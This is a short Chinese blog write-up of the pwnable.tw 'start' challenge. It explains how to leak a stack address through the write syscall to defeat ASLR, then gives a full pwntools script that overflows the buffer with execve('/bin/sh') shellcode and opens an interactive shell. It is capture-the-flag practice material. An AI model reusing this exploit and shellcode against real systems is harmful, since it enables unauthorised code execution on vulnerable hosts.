pwnable.tw start

开始刷题

程序有两个系统调用,没有任何保护,思路是直接在栈上覆盖shellcode,但是因为ASLR,所以栈的地址是不知道的,所以需要通过write系统调用打印出栈的地址
QQ截图20170728205808.jpg-60.2kB
脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python
from pwn import *
io = remote("chall.pwnable.tw",10000)
payload1 = 'a'*20 + p32(0x08048087)
io.recvuntil(":")
io.send(payload1)
stack_addr = u32(io.recv(4))
payload2 = 'a'*20 + p32(stack_addr+20)+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
io.send(payload2)
io.interactive()

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
,